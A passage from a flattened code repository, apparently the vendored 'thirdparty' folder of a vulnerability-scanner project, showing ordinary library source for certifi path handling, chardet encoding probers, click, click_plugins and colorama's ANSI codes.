get_path("certifi", "cacert.pem") 38 | 39 | #_CACERT_PATH = str(_CACERT_CTX.__enter__()) 40 | 41 | # fix thirdparty bug 42 | pwd_vulmap = os.path.split(os.path.realpath(sys.argv[0]))[0] 43 | _CACERT_PATH = pwd_vulmap + "/thirdparty/certifi/cacert.pem" 44 | return _CACERT_PATH 45 | 46 | 47 | except ImportError: 48 | # This fallback will work for Python versions prior to 3.7 that lack the 49 | # importlib.resources module but relies on the existing `where` function 50 | # so won't address issues with environments like PyOxidizer that don't set 51 | # __file__ on modules. 52 | def read_text(_module, _path, encoding="ascii"): 53 | with open(where(), "r", encoding=encoding) as data: 54 | return data.read() 55 | 56 | # If we don't have importlib.resources, then we will just do the old logic 57 | # of assuming we're on the filesystem and munge the path directly. 58 | def where(): 59 | f = os.path.dirname(__file__) 60 | 61 | return os.path.join(f, "cacert.pem") 62 | 63 | 64 | def contents(): 65 | return read_text("certifi", "cacert.pem", encoding="ascii") 66 | -------------------------------------------------------------------------------- /thirdparty/chardet/__init__.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # This library is free software; you can redistribute it and/or 3 | # modify it under the terms of the GNU Lesser General Public 4 | # License as published by the Free Software Foundation; either 5 | # version 2.1 of the License, or (at your option) any later version. 6 | # 7 | # This library is distributed in the hope that it will be useful, 8 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 9 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 10 | # Lesser General Public License for more details. 11 | # 12 | # You should have received a copy of the GNU Lesser General Public 13 | # License along with this library; if not, write to the Free Software 14 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 15 | # 02110-1301 USA 16 | ######################### END LICENSE BLOCK ######################### 17 | 18 | 19 | from .compat import PY2, PY3 20 | from .universaldetector import UniversalDetector 21 | from .version import __version__, VERSION 22 | 23 | 24 | def detect(byte_str): 25 | """ 26 | Detect the encoding of the given byte string. 27 | 28 | :param byte_str: The byte sequence to examine. 29 | :type byte_str: ``bytes`` or ``bytearray`` 30 | """ 31 | if not isinstance(byte_str, bytearray): 32 | if not isinstance(byte_str, bytes): 33 | raise TypeError('Expected object of type bytes or bytearray, got: ' 34 | '{0}'.format(type(byte_str))) 35 | else: 36 | byte_str = bytearray(byte_str) 37 | detector = UniversalDetector() 38 | detector.feed(byte_str) 39 | return detector.close() 40 | -------------------------------------------------------------------------------- /thirdparty/chardet/big5prober.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # The Original Code is Mozilla Communicator client code. 3 | # 4 | # The Initial Developer of the Original Code is 5 | # Netscape Communications Corporation. 6 | # Portions created by the Initial Developer are Copyright (C) 1998 7 | # the Initial Developer. All Rights Reserved. 8 | # 9 | # Contributor(s): 10 | # Mark Pilgrim - port to Python 11 | # 12 | # This library is free software; you can redistribute it and/or 13 | # modify it under the terms of the GNU Lesser General Public 14 | # License as published by the Free Software Foundation; either 15 | # version 2.1 of the License, or (at your option) any later version. 16 | # 17 | # This library is distributed in the hope that it will be useful, 18 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 19 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 20 | # Lesser General Public License for more details. 21 | # 22 | # You should have received a copy of the GNU Lesser General Public 23 | # License along with this library; if not, write to the Free Software 24 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 25 | # 02110-1301 USA 26 | ######################### END LICENSE BLOCK ######################### 27 | 28 | from .mbcharsetprober import MultiByteCharSetProber 29 | from .codingstatemachine import CodingStateMachine 30 | from .chardistribution import Big5DistributionAnalysis 31 | from .mbcssm import BIG5_SM_MODEL 32 | 33 | 34 | class Big5Prober(MultiByteCharSetProber): 35 | def __init__(self): 36 | super(Big5Prober, self).__init__() 37 | self.coding_sm = CodingStateMachine(BIG5_SM_MODEL) 38 | self.distribution_analyzer = Big5DistributionAnalysis() 39 | self.reset() 40 | 41 | @property 42 | def charset_name(self): 43 | return "Big5" 44 | 45 | @property 46 | def language(self): 47 | return "Chinese" 48 | -------------------------------------------------------------------------------- /thirdparty/chardet/cli/__init__.py: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /thirdparty/chardet/compat.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # Contributor(s): 3 | # Dan Blanchard 4 | # Ian Cordasco 5 | # 6 | # This library is free software; you can redistribute it and/or 7 | # modify it under the terms of the GNU Lesser General Public 8 | # License as published by the Free Software Foundation; either 9 | # version 2.1 of the License, or (at your option) any later version. 10 | # 11 | # This library is distributed in the hope that it will be useful, 12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 14 | # Lesser General Public License for more details. 15 | # 16 | # You should have received a copy of the GNU Lesser General Public 17 | # License along with this library; if not, write to the Free Software 18 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 19 | # 02110-1301 USA 20 | ######################### END LICENSE BLOCK ######################### 21 | 22 | import sys 23 | 24 | 25 | if sys.version_info < (3, 0): 26 | PY2 = True 27 | PY3 = False 28 | base_str = (str, unicode) 29 | text_type = unicode 30 | else: 31 | PY2 = False 32 | PY3 = True 33 | base_str = (bytes, str) 34 | text_type = str 35 | -------------------------------------------------------------------------------- /thirdparty/chardet/cp949prober.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # The Original Code is mozilla.org code. 3 | # 4 | # The Initial Developer of the Original Code is 5 | # Netscape Communications Corporation. 6 | # Portions created by the Initial Developer are Copyright (C) 1998 7 | # the Initial Developer. All Rights Reserved. 8 | # 9 | # Contributor(s): 10 | # Mark Pilgrim - port to Python 11 | # 12 | # This library is free software; you can redistribute it and/or 13 | # modify it under the terms of the GNU Lesser General Public 14 | # License as published by the Free Software Foundation; either 15 | # version 2.1 of the License, or (at your option) any later version. 16 | # 17 | # This library is distributed in the hope that it will be useful, 18 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 19 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 20 | # Lesser General Public License for more details. 21 | # 22 | # You should have received a copy of the GNU Lesser General Public 23 | # License along with this library; if not, write to the Free Software 24 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 25 | # 02110-1301 USA 26 | ######################### END LICENSE BLOCK ######################### 27 | 28 | from .chardistribution import EUCKRDistributionAnalysis 29 | from .codingstatemachine import CodingStateMachine 30 | from .mbcharsetprober import MultiByteCharSetProber 31 | from .mbcssm import CP949_SM_MODEL 32 | 33 | 34 | class CP949Prober(MultiByteCharSetProber): 35 | def __init__(self): 36 | super(CP949Prober, self).__init__() 37 | self.coding_sm = CodingStateMachine(CP949_SM_MODEL) 38 | # NOTE: CP949 is a superset of EUC-KR, so the distribution should be 39 | # not different. 40 | self.distribution_analyzer = EUCKRDistributionAnalysis() 41 | self.reset() 42 | 43 | @property 44 | def charset_name(self): 45 | return "CP949" 46 | 47 | @property 48 | def language(self): 49 | return "Korean" 50 | -------------------------------------------------------------------------------- /thirdparty/chardet/enums.py: -------------------------------------------------------------------------------- 1 | """ 2 | All of the Enums that are used throughout the chardet package. 3 | 4 | :author: Dan Blanchard (dan.blanchard@gmail.com) 5 | """ 6 | 7 | 8 | class InputState(object): 9 | """ 10 | This enum represents the different states a universal detector can be in. 11 | """ 12 | PURE_ASCII = 0 13 | ESC_ASCII = 1 14 | HIGH_BYTE = 2 15 | 16 | 17 | class LanguageFilter(object): 18 | """ 19 | This enum represents the different language filters we can apply to a 20 | ``UniversalDetector``. 21 | """ 22 | CHINESE_SIMPLIFIED = 0x01 23 | CHINESE_TRADITIONAL = 0x02 24 | JAPANESE = 0x04 25 | KOREAN = 0x08 26 | NON_CJK = 0x10 27 | ALL = 0x1F 28 | CHINESE = CHINESE_SIMPLIFIED | CHINESE_TRADITIONAL 29 | CJK = CHINESE | JAPANESE | KOREAN 30 | 31 | 32 | class ProbingState(object): 33 | """ 34 | This enum represents the different states a prober can be in. 35 | """ 36 | DETECTING = 0 37 | FOUND_IT = 1 38 | NOT_ME = 2 39 | 40 | 41 | class MachineState(object): 42 | """ 43 | This enum represents the different states a state machine can be in. 44 | """ 45 | START = 0 46 | ERROR = 1 47 | ITS_ME = 2 48 | 49 | 50 | class SequenceLikelihood(object): 51 | """ 52 | This enum represents the likelihood of a character following the previous one. 53 | """ 54 | NEGATIVE = 0 55 | UNLIKELY = 1 56 | LIKELY = 2 57 | POSITIVE = 3 58 | 59 | @classmethod 60 | def get_num_categories(cls): 61 | """:returns: The number of likelihood categories in the enum.""" 62 | return 4 63 | 64 | 65 | class CharacterCategory(object): 66 | """ 67 | This enum represents the different categories language models for 68 | ``SingleByteCharsetProber`` put characters into. 69 | 70 | Anything less than CONTROL is considered a letter. 71 | """ 72 | UNDEFINED = 255 73 | LINE_BREAK = 254 74 | SYMBOL = 253 75 | DIGIT = 252 76 | CONTROL = 251 77 | -------------------------------------------------------------------------------- /thirdparty/chardet/euckrprober.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # The Original Code is mozilla.org code. 3 | # 4 | # The Initial Developer of the Original Code is 5 | # Netscape Communications Corporation. 6 | # Portions created by the Initial Developer are Copyright (C) 1998 7 | # the Initial Developer. All Rights Reserved. 8 | # 9 | # Contributor(s): 10 | # Mark Pilgrim - port to Python 11 | # 12 | # This library is free software; you can redistribute it and/or 13 | # modify it under the terms of the GNU Lesser General Public 14 | # License as published by the Free Software Foundation; either 15 | # version 2.1 of the License, or (at your option) any later version. 16 | # 17 | # This library is distributed in the hope that it will be useful, 18 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 19 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 20 | # Lesser General Public License for more details. 21 | # 22 | # You should have received a copy of the GNU Lesser General Public 23 | # License along with this library; if not, write to the Free Software 24 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 25 | # 02110-1301 USA 26 | ######################### END LICENSE BLOCK ######################### 27 | 28 | from .mbcharsetprober import MultiByteCharSetProber 29 | from .codingstatemachine import CodingStateMachine 30 | from .chardistribution import EUCKRDistributionAnalysis 31 | from .mbcssm import EUCKR_SM_MODEL 32 | 33 | 34 | class EUCKRProber(MultiByteCharSetProber): 35 | def __init__(self): 36 | super(EUCKRProber, self).__init__() 37 | self.coding_sm = CodingStateMachine(EUCKR_SM_MODEL) 38 | self.distribution_analyzer = EUCKRDistributionAnalysis() 39 | self.reset() 40 | 41 | @property 42 | def charset_name(self): 43 | return "EUC-KR" 44 | 45 | @property 46 | def language(self): 47 | return "Korean" 48 | -------------------------------------------------------------------------------- /thirdparty/chardet/euctwprober.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # The Original Code is mozilla.org code. 3 | # 4 | # The Initial Developer of the Original Code is 5 | # Netscape Communications Corporation. 6 | # Portions created by the Initial Developer are Copyright (C) 1998 7 | # the Initial Developer. All Rights Reserved. 8 | # 9 | # Contributor(s): 10 | # Mark Pilgrim - port to Python 11 | # 12 | # This library is free software; you can redistribute it and/or 13 | # modify it under the terms of the GNU Lesser General Public 14 | # License as published by the Free Software Foundation; either 15 | # version 2.1 of the License, or (at your option) any later version. 16 | # 17 | # This library is distributed in the hope that it will be useful, 18 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 19 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 20 | # Lesser General Public License for more details. 21 | # 22 | # You should have received a copy of the GNU Lesser General Public 23 | # License along with this library; if not, write to the Free Software 24 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 25 | # 02110-1301 USA 26 | ######################### END LICENSE BLOCK ######################### 27 | 28 | from .mbcharsetprober import MultiByteCharSetProber 29 | from .codingstatemachine import CodingStateMachine 30 | from .chardistribution import EUCTWDistributionAnalysis 31 | from .mbcssm import EUCTW_SM_MODEL 32 | 33 | class EUCTWProber(MultiByteCharSetProber): 34 | def __init__(self): 35 | super(EUCTWProber, self).__init__() 36 | self.coding_sm = CodingStateMachine(EUCTW_SM_MODEL) 37 | self.distribution_analyzer = EUCTWDistributionAnalysis() 38 | self.reset() 39 | 40 | @property 41 | def charset_name(self): 42 | return "EUC-TW" 43 | 44 | @property 45 | def language(self): 46 | return "Taiwan" 47 | -------------------------------------------------------------------------------- /thirdparty/chardet/gb2312prober.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # The Original Code is mozilla.org code. 3 | # 4 | # The Initial Developer of the Original Code is 5 | # Netscape Communications Corporation. 6 | # Portions created by the Initial Developer are Copyright (C) 1998 7 | # the Initial Developer. All Rights Reserved. 8 | # 9 | # Contributor(s): 10 | # Mark Pilgrim - port to Python 11 | # 12 | # This library is free software; you can redistribute it and/or 13 | # modify it under the terms of the GNU Lesser General Public 14 | # License as published by the Free Software Foundation; either 15 | # version 2.1 of the License, or (at your option) any later version. 16 | # 17 | # This library is distributed in the hope that it will be useful, 18 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 19 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 20 | # Lesser General Public License for more details. 21 | # 22 | # You should have received a copy of the GNU Lesser General Public 23 | # License along with this library; if not, write to the Free Software 24 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 25 | # 02110-1301 USA 26 | ######################### END LICENSE BLOCK ######################### 27 | 28 | from .mbcharsetprober import MultiByteCharSetProber 29 | from .codingstatemachine import CodingStateMachine 30 | from .chardistribution import GB2312DistributionAnalysis 31 | from .mbcssm import GB2312_SM_MODEL 32 | 33 | class GB2312Prober(MultiByteCharSetProber): 34 | def __init__(self): 35 | super(GB2312Prober, self).__init__() 36 | self.coding_sm = CodingStateMachine(GB2312_SM_MODEL) 37 | self.distribution_analyzer = GB2312DistributionAnalysis() 38 | self.reset() 39 | 40 | @property 41 | def charset_name(self): 42 | return "GB2312" 43 | 44 | @property 45 | def language(self): 46 | return "Chinese" 47 | -------------------------------------------------------------------------------- /thirdparty/chardet/mbcsgroupprober.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # The Original Code is Mozilla Universal charset detector code. 3 | # 4 | # The Initial Developer of the Original Code is 5 | # Netscape Communications Corporation. 6 | # Portions created by the Initial Developer are Copyright (C) 2001 7 | # the Initial Developer. All Rights Reserved. 8 | # 9 | # Contributor(s): 10 | # Mark Pilgrim - port to Python 11 | # Shy Shalom - original C code 12 | # Proofpoint, Inc. 13 | # 14 | # This library is free software; you can redistribute it and/or 15 | # modify it under the terms of the GNU Lesser General Public 16 | # License as published by the Free Software Foundation; either 17 | # version 2.1 of the License, or (at your option) any later version. 18 | # 19 | # This library is distributed in the hope that it will be useful, 20 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 21 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 22 | # Lesser General Public License for more details. 23 | # 24 | # You should have received a copy of the GNU Lesser General Public 25 | # License along with this library; if not, write to the Free Software 26 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 27 | # 02110-1301 USA 28 | ######################### END LICENSE BLOCK ######################### 29 | 30 | from .charsetgroupprober import CharSetGroupProber 31 | from .utf8prober import UTF8Prober 32 | from .sjisprober import SJISProber 33 | from .eucjpprober import EUCJPProber 34 | from .gb2312prober import GB2312Prober 35 | from .euckrprober import EUCKRProber 36 | from .cp949prober import CP949Prober 37 | from .big5prober import Big5Prober 38 | from .euctwprober import EUCTWProber 39 | 40 | 41 | class MBCSGroupProber(CharSetGroupProber): 42 | def __init__(self, lang_filter=None): 43 | super(MBCSGroupProber, self).__init__(lang_filter=lang_filter) 44 | self.probers = [ 45 | UTF8Prober(), 46 | SJISProber(), 47 | EUCJPProber(), 48 | GB2312Prober(), 49 | EUCKRProber(), 50 | CP949Prober(), 51 | Big5Prober(), 52 | EUCTWProber() 53 | ] 54 | self.reset() 55 | -------------------------------------------------------------------------------- /thirdparty/chardet/version.py: -------------------------------------------------------------------------------- 1 | """ 2 | This module exists only to simplify retrieving the version number of chardet 3 | from within setup.py and from chardet subpackages. 4 | 5 | :author: Dan Blanchard (dan.blanchard@gmail.com) 6 | """ 7 | 8 | __version__ = "3.0.4" 9 | VERSION = __version__.split('.') 10 | -------------------------------------------------------------------------------- /thirdparty/click/__init__.py: -------------------------------------------------------------------------------- 1 | """ 2 | Click is a simple Python module inspired by the stdlib optparse to make 3 | writing command line scripts fun. Unlike other modules, it's based 4 | around a simple API that does not come with too much magic and is 5 | composable. 6 | """ 7 | from .core import Argument 8 | from .core import BaseCommand 9 | from .core import Command 10 | from .core import CommandCollection 11 | from .core import Context 12 | from .core import Group 13 | from .core import MultiCommand 14 | from .core import Option 15 | from .core import Parameter 16 | from .decorators import argument 17 | from .decorators import command 18 | from .decorators import confirmation_option 19 | from .decorators import group 20 | from .decorators import help_option 21 | from .decorators import make_pass_decorator 22 | from .decorators import option 23 | from .decorators import pass_context 24 | from .decorators import pass_obj 25 | from .decorators import password_option 26 | from .decorators import version_option 27 | from .exceptions import Abort 28 | from .exceptions import BadArgumentUsage 29 | from .exceptions import BadOptionUsage 30 | from .exceptions import BadParameter 31 | from .exceptions import ClickException 32 | from .exceptions import FileError 33 | from .exceptions import MissingParameter 34 | from .exceptions import NoSuchOption 35 | from .exceptions import UsageError 36 | from .formatting import HelpFormatter 37 | from .formatting import wrap_text 38 | from .globals import get_current_context 39 | from .parser import OptionParser 40 | from .termui import clear 41 | from .termui import confirm 42 | from .termui import echo_via_pager 43 | from .termui import edit 44 | from .termui import get_terminal_size 45 | from .termui import getchar 46 | from .termui import launch 47 | from .termui import pause 48 | from .termui import progressbar 49 | from .termui import prompt 50 | from .termui import secho 51 | from .termui import style 52 | from .termui import unstyle 53 | from .types import BOOL 54 | from .types import Choice 55 | from .types import DateTime 56 | from .types import File 57 | from .types import FLOAT 58 | from .types import FloatRange 59 | from .types import INT 60 | from .types import IntRange 61 | from .types import ParamType 62 | from .types import Path 63 | from .types import STRING 64 | from .types import Tuple 65 | from .types import UNPROCESSED 66 | from .types import UUID 67 | from .utils import echo 68 | from .utils import format_filename 69 | from .utils import get_app_dir 70 | from .utils import get_binary_stream 71 | from .utils import get_os_args 72 | from .utils import get_text_stream 73 | from .utils import open_file 74 | 75 | # Controls if click should emit the warning about the use of unicode 76 | # literals. 77 | disable_unicode_literals_warning = False 78 | 79 | __version__ = "7.1.2" 80 | -------------------------------------------------------------------------------- /thirdparty/click/_textwrap.py: -------------------------------------------------------------------------------- 1 | import textwrap 2 | from contextlib import contextmanager 3 | 4 | 5 | class TextWrapper(textwrap.TextWrapper): 6 | def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width): 7 | space_left = max(width - cur_len, 1) 8 | 9 | if self.break_long_words: 10 | last = reversed_chunks[-1] 11 | cut = last[:space_left] 12 | res = last[space_left:] 13 | cur_line.append(cut) 14 | reversed_chunks[-1] = res 15 | elif not cur_line: 16 | cur_line.append(reversed_chunks.pop()) 17 | 18 | @contextmanager 19 | def extra_indent(self, indent): 20 | old_initial_indent = self.initial_indent 21 | old_subsequent_indent = self.subsequent_indent 22 | self.initial_indent += indent 23 | self.subsequent_indent += indent 24 | try: 25 | yield 26 | finally: 27 | self.initial_indent = old_initial_indent 28 | self.subsequent_indent = old_subsequent_indent 29 | 30 | def indent_only(self, text): 31 | rv = [] 32 | for idx, line in enumerate(text.splitlines()): 33 | indent = self.initial_indent 34 | if idx > 0: 35 | indent = self.subsequent_indent 36 | rv.append(indent + line) 37 | return "\n".join(rv) 38 | -------------------------------------------------------------------------------- /thirdparty/click/globals.py: -------------------------------------------------------------------------------- 1 | from threading import local 2 | 3 | _local = local() 4 | 5 | 6 | def get_current_context(silent=False): 7 | """Returns the current click context. This can be used as a way to 8 | access the current context object from anywhere. This is a more implicit 9 | alternative to the :func:`pass_context` decorator. This function is 10 | primarily useful for helpers such as :func:`echo` which might be 11 | interested in changing its behavior based on the current context. 12 | 13 | To push the current context, :meth:`Context.scope` can be used. 14 | 15 | .. versionadded:: 5.0 16 | 17 | :param silent: if set to `True` the return value is `None` if no context 18 | is available. The default behavior is to raise a 19 | :exc:`RuntimeError`. 20 | """ 21 | try: 22 | return _local.stack[-1] 23 | except (AttributeError, IndexError): 24 | if not silent: 25 | raise RuntimeError("There is no active click context.") 26 | 27 | 28 | def push_context(ctx): 29 | """Pushes a new context to the current stack.""" 30 | _local.__dict__.setdefault("stack", []).append(ctx) 31 | 32 | 33 | def pop_context(): 34 | """Removes the top level from the stack.""" 35 | _local.stack.pop() 36 | 37 | 38 | def resolve_color_default(color=None): 39 | """"Internal helper to get the default value of the color flag. If a 40 | value is passed it's returned unchanged, otherwise it's looked up from 41 | the current context. 42 | """ 43 | if color is not None: 44 | return color 45 | ctx = get_current_context(silent=True) 46 | if ctx is not None: 47 | return ctx.color 48 | -------------------------------------------------------------------------------- /thirdparty/click_plugins/__init__.py: -------------------------------------------------------------------------------- 1 | """ 2 | An extension module for click to enable registering CLI commands via setuptools 3 | entry-points. 4 | 5 | 6 | from pkg_resources import iter_entry_points 7 | 8 | import click 9 | from click_plugins import with_plugins 10 | 11 | 12 | @with_plugins(iter_entry_points('entry_point.name')) 13 | @click.group() 14 | def cli(): 15 | '''Commandline interface for something.''' 16 | 17 | @cli.command() 18 | @click.argument('arg') 19 | def subcommand(arg): 20 | '''A subcommand for something else''' 21 | """ 22 | 23 | 24 | from thirdparty.click_plugins.core import with_plugins 25 | 26 | 27 | __version__ = '1.1.1' 28 | __author__ = 'Kevin Wurster, Sean Gillies' 29 | __email__ = 'wursterk@gmail.com, sean.gillies@gmail.com' 30 | __source__ = 'https://github.com/click-contrib/click-plugins' 31 | __license__ = ''' 32 | New BSD License 33 | 34 | Copyright (c) 2015-2019, Kevin D. Wurster, Sean C. Gillies 35 | All rights reserved. 36 | 37 | Redistribution and use in source and binary forms, with or without 38 | modification, are permitted provided that the following conditions are met: 39 | 40 | * Redistributions of source code must retain the above copyright notice, this 41 | list of conditions and the following disclaimer. 42 | 43 | * Redistributions in binary form must reproduce the above copyright notice, 44 | this list of conditions and the following disclaimer in the documentation 45 | and/or other materials provided with the distribution. 46 | 47 | * Neither click-plugins nor the names of its contributors may not be used to 48 | endorse or promote products derived from this software without specific prior 49 | written permission. 50 | 51 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 52 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 53 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 54 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 55 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 56 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 57 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 58 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 59 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 60 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 61 | ''' 62 | -------------------------------------------------------------------------------- /thirdparty/click_plugins/core.py: -------------------------------------------------------------------------------- 1 | """ 2 | Core components for click_plugins 3 | """ 4 | 5 | 6 | from thirdparty import click 7 | 8 | import os 9 | import sys 10 | import traceback 11 | 12 | 13 | def with_plugins(plugins): 14 | 15 | """ 16 | A decorator to register external CLI commands to an instance of 17 | `click.Group()`. 18 | 19 | Parameters 20 | ---------- 21 | plugins : iter 22 | An iterable producing one `pkg_resources.EntryPoint()` per iteration. 23 | attrs : **kwargs, optional 24 | Additional keyword arguments for instantiating `click.Group()`. 25 | 26 | Returns 27 | ------- 28 | click.Group() 29 | """ 30 | 31 | def decorator(group): 32 | if not isinstance(group, click.Group): 33 | raise TypeError("Plugins can only be attached to an instance of click.Group()") 34 | 35 | for entry_point in plugins or (): 36 | try: 37 | group.add_command(entry_point.load()) 38 | except Exception: 39 | # Catch this so a busted plugin doesn't take down the CLI. 40 | # Handled by registering a dummy command that does nothing 41 | # other than explain the error. 42 | group.add_command(BrokenCommand(entry_point.name)) 43 | 44 | return group 45 | 46 | return decorator 47 | 48 | 49 | class BrokenCommand(click.Command): 50 | 51 | """ 52 | Rather than completely crash the CLI when a broken plugin is loaded, this 53 | class provides a modified help message informing the user that the plugin is 54 | broken and they should contact the owner. If the user executes the plugin 55 | or specifies `--help` a traceback is reported showing the exception the 56 | plugin loader encountered. 57 | """ 58 | 59 | def __init__(self, name): 60 | 61 | """ 62 | Define the special help messages after instantiating a `click.Command()`. 63 | """ 64 | 65 | click.Command.__init__(self, name) 66 | 67 | util_name = os.path.basename(sys.argv and sys.argv[0] or __file__) 68 | 69 | if os.environ.get('CLICK_PLUGINS_HONESTLY'): # pragma no cover 70 | icon = u'\U0001F4A9' 71 | else: 72 | icon = u'\u2020' 73 | 74 | self.help = ( 75 | "\nWarning: entry point could not be loaded. Contact " 76 | "its author for help.\n\n\b\n" 77 | + traceback.format_exc()) 78 | self.short_help = ( 79 | icon + " Warning: could not load plugin. See `%s %s --help`." 80 | % (util_name, self.name)) 81 | 82 | def invoke(self, ctx): 83 | 84 | """ 85 | Print the traceback instead of doing nothing. 86 | """ 87 | 88 | click.echo(self.help, color=ctx.color) 89 | ctx.exit(1) 90 | 91 | def parse_args(self, ctx, args): 92 | return args 93 | -------------------------------------------------------------------------------- /thirdparty/colorama/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | from .initialise import init, deinit, reinit, colorama_text 3 | from .ansi import Fore, Back, Style, Cursor 4 | from .ansitowin32 import AnsiToWin32 5 | 6 | __version__ = '0.4.5-pre' 7 | -------------------------------------------------------------------------------- /thirdparty/colorama/ansi.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | ''' 3 | This module generates ANSI character codes to printing colors to terminals. 4 | See: http://en.wikipedia.org/wiki/ANSI_escape_code 5 | ''' 6 | 7 | CSI = '\033[' 8 | OSC = '\033]' 9 | BEL = '\a' 10 | 11 | 12 | def code_to_chars(code): 13 | return CSI + str(code) + 'm' 14 | 15 | def set_title(title): 16 | return OSC + '2;' + title + BEL 17 | 18 | def clear_screen(mode=2): 19 | return CSI + str(mode) + 'J' 20 | 21 | def clear_line(mode=2): 22 | return CSI + str(mode) + 'K' 23 | 24 | 25 | class AnsiCodes(object): 26 | def __init__(self): 27 | # the subclasses declare class attributes which are numbers. 28 | # Upon instantiation we define instance attributes, which are the same 29 | # as the class attributes but wrapped with the ANSI escape sequence 30 | for name in dir(self): 31 | if not name.startswith('_'): 32 | value = getattr(self, name) 33 | setattr(self, name, code_to_chars(value)) 34 | 35 | 36 | class AnsiCursor(object): 37 | def UP(self, n=1): 38 | return CSI + str(n) + 'A' 39 | def DOWN(self, n=1): 40 | return CSI + str(n) + 'B' 41 | def FORWARD(self, n=1): 42 | return CSI + str(n) + 'C' 43 | def BACK(self, n=1): 44 | return CSI + str(n) + 'D' 45 | def POS(self, x=1, y=1): 46 | return CSI + str(y) + ';' + str(x) + 'H' 47 | 48 | 49 | class AnsiFore(AnsiCodes): 50 | BLACK = 30 51 | RED = 31 52 | GREEN = 32 53 | YELLOW = 33 54 | BLUE = 34 55 | MAGENTA = 35 56 | CYAN = 36 57 | WHITE = 37 58 | RESET = 39 59 | 60 | # These are fairly well supported, but not part of the standard. 61 | LIGHTBLACK_EX = 90 62 | LIGHTRED_EX = 91 63 | LIGHTGREEN_EX = 92 64 | LIGHTYELLOW_EX = 93 65 | LIGHTBLUE_EX = 94 66 | LIGHTMAGENTA_EX = 95 67 | LIGHTCYAN_EX = 96 68 | LIGHTWHITE_EX = 97 69 | 70 | 71 | class AnsiBack(AnsiCodes): 72 | BLACK = 40 73 | RED = 41 74 | GREEN = 42 75 | YELLOW = 43 76 | BLUE = 44 77 | MAGENTA = 45 78 | CYAN = 46 79 | WHITE = 47 80 | RESET = 49 81 | 82 | # These are fairly well supported, but not part of the standard. 83 | LIGHTBLACK_EX = 100 84 | LIGHTRED_EX = 101 85 | LIGHTGREEN_EX = 102 86 | LIGHTYELLOW_EX = 103 87 | LIGHTBLUE_EX = 104 88 | LIGHTMAGENTA_EX = 105 89 | LIGHTCYAN_EX = 106 90 | LIGHTWHITE_EX = 107 91 | 92 | 93 | class AnsiStyle(AnsiCodes): 94 | BRIGHT = 1 95 | DIM = 2 96 | NORMAL = 22 97 | RESET_ALL = 0 98 | 99 | Fore = AnsiFore() 100 | Back = AnsiBack() 101 | Style = AnsiStyle() 102 | Cursor = AnsiCursor() 103 | -------------------------------------------------------------------------------- /thirdparty/colorama/initialise.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | import atexit 3 | import contextlib 4 | import sys 5 | 6 | from .ansitowin32 import AnsiToWin32 7 | 8 | 9 | orig_stdout = None 10 | orig_stderr = None 11 | 12 | wrapped_stdout = None 13 | wrapped_stderr 